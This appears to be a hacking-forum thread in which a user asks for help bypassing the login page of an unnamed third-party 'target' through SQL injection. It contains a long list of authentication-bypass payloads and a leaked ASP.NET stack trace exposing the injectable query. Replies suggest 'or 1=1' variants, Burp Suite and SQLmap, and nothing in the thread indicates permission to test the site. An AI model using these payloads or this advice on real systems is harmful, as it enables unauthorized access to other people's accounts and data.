[t0x1c0d3r]

hello guys,

i have a target and login page is vulnerable (SQL Injection) ;)

i want to bypass it, but i'm can't success ;)

i tested any payloads for bypass Login :

Code

'=' 'or'
'-'
' '
'&'
'^'
'*'
' or ''-'
' or '' '
' or ''&'
' or ''^'
' or ''*'
"-"
" "
"&"
"^"
"*"
" or ""-"
" or "" "
" or ""&"
" or ""^"
" or ""*"
or true--
" or true--
' or true--
") or true--
') or true--
' or 'x'='x
') or ('x')=('x
')) or (('x'))=(('x
" or "x"="x
") or ("x")=("x
")) or (("x"))=(("x

response :

Code

Server Error in '/' Application.
Incorrect syntax near '='.
Description: An unhandled exception occurred during the execution of the current web request. Please review the stack trace for more information about the error and where it originated in the code.

Exception Details: System.Data.SqlClient.SqlException: Incorrect syntax near '='.

Source Error:


Line 92:
Line 93:         da = New SqlDataAdapter("select * from " + tabel + sqlstr, con)
Line 94:         da.Fill(ds, tabname)
Line 95:
Line 96:         Return ds


Source File: D:\NewWebSite\App_Code\DataAccess.vb    Line: 94

Stack Trace:


[SqlException (0x80131904): Incorrect syntax near '='.]
  System.Data.SqlClient.SqlConnection.OnError(SqlException exception, Boolean breakConnection, Action`1 wrapCloseInAction) +3306108
  System.Data.SqlClient.TdsParser.ThrowExceptionAndWarning(TdsParserStateObject stateObj, Boolean callerHasConnectionLock, Boolean asyncClose) +736
  System.Data.SqlClient.TdsParser.TryRun(RunBehavior runBehavior, SqlCommand cmdHandler, SqlDataReader dataStream, BulkCopySimpleResultSet bulkCopyHandler, TdsParserStateObject stateObj, Boolean& dataReady) +4061
  System.Data.SqlClient.SqlDataReader.TryConsumeMetaData() +90
  System.Data.SqlClient.SqlDataReader.get_MetaData() +99
  System.Data.SqlClient.SqlCommand.FinishExecuteReader(SqlDataReader ds, RunBehavior runBehavior, String resetOptionsString, Boolean isInternal, Boolean forDescribeParameterEncryption, Boolean shouldCacheForAlwaysEncrypted) +604
  System.Data.SqlClient.SqlCommand.RunExecuteReaderTds(CommandBehavior cmdBehavior, RunBehavior runBehavior, Boolean returnStream, Boolean async, Int32 timeout, Task& task, Boolean asyncWrite, Boolean inRetry, SqlDataReader ds, Boolean describeParameterEncryptionRequest) +3303
  System.Data.SqlClient.SqlCommand.RunExecuteReader(CommandBehavior cmdBehavior, RunBehavior runBehavior, Boolean returnStream, String method, TaskCompletionSource`1 completion, Int32 timeout, Task& task, Boolean& usedCache, Boolean asyncWrite, Boolean inRetry) +667
  System.Data.SqlClient.SqlCommand.RunExecuteReader(CommandBehavior cmdBehavior, RunBehavior runBehavior, Boolean returnStream, String method) +83
  System.Data.SqlClient.SqlCommand.ExecuteReader(CommandBehavior behavior, String method) +301
  System.Data.Common.DbDataAdapter.FillInternal(DataSet dataset, DataTable[] datatables, Int32 startRecord, Int32 maxRecords, String srcTable, IDbCommand command, CommandBehavior behavior) +201
  System.Data.Common.DbDataAdapter.Fill(DataSet dataSet, Int32 startRecord, Int32 maxRecords, String srcTable, IDbCommand command, CommandBehavior behavior) +178
  System.Data.Common.DbDataAdapter.Fill(DataSet dataSet, String srcTable) +119
  DataAccess.dsfill(String tabel, String sqlstr, String tabname) in D:\NewWebSite\App_Code\DataAccess.vb:94
  BusRole.sequritycheck(String us, String ps) in D:\NewWebSite\App_Code\BusRole.vb:340
  Login.Image1_ServerClick(Object sender, EventArgs e) in D:\NewWebSite\Login.aspx.vb:19
  System.Web.UI.HtmlControls.HtmlInputButton.OnServerClick(EventArgs e) +137
  System.Web.UI.Page.ProcessRequestMain(Boolean includeStagesBeforeAsyncPoint, Boolean includeStagesAfterAsyncPoint) +5028


Version Information: Microsoft .NET Framework Version:4.0.30319; ASP.NET Version:4.7.3282.0

Any Idea to bypass and Login :-?

thanks... <3

[knockingonheavensdoor]

hackforums isnt allowing me to post commands here, so i have typed single inverted for '

single inverted 1=1 and
single inverted or 1=1

might work, worth a shot

[Money-]

Try using as the above user mentioned which is that particular query OR 1=1 including a single quote in front.

You can also try using burp suite to modify the parameters assuming if you have SQL knowledge to bypass it.

[t0x1c0d3r]

hackforums isnt allowing me to post commands here, so i have typed single inverted for '

single inverted 1=1 and
single inverted or 1=1

might work, worth a shot

hi dear,
don't work :(

single inverted 1=1 and return:

Code

Incorrect syntax near '1'.
Unclosed quotation mark after the character string ''.

single inverted or 1=1 return :

Code

Incorrect syntax near ' and fldActive2='.
Unclosed quotation mark after the character string ''.

---

-----Up-----

any idea ?

[Money-]

hi dear,
don't work :(

single inverted 1=1 and  return:

Code

Incorrect syntax near '1'.
Unclosed quotation mark after the character string ''.

single inverted or 1=1 return :

Code

Incorrect syntax near ' and fldActive2='.
Unclosed quotation mark after the character string ''.

---

-----Up-----

any idea ?

Actually why don't you post this in the SQL-Injection Section?
Due to it more being suitable? Or perhaps the SQLI is section is quite dead and then you revert to this section instead?

[BlindIntruder]

Let SQLmap find a suitable exploit for you. Remember : an error display does not implies automatically an SQL injection. The only way to be certain that a field is sensitive to SQL injection is to make an injection work !
Good luck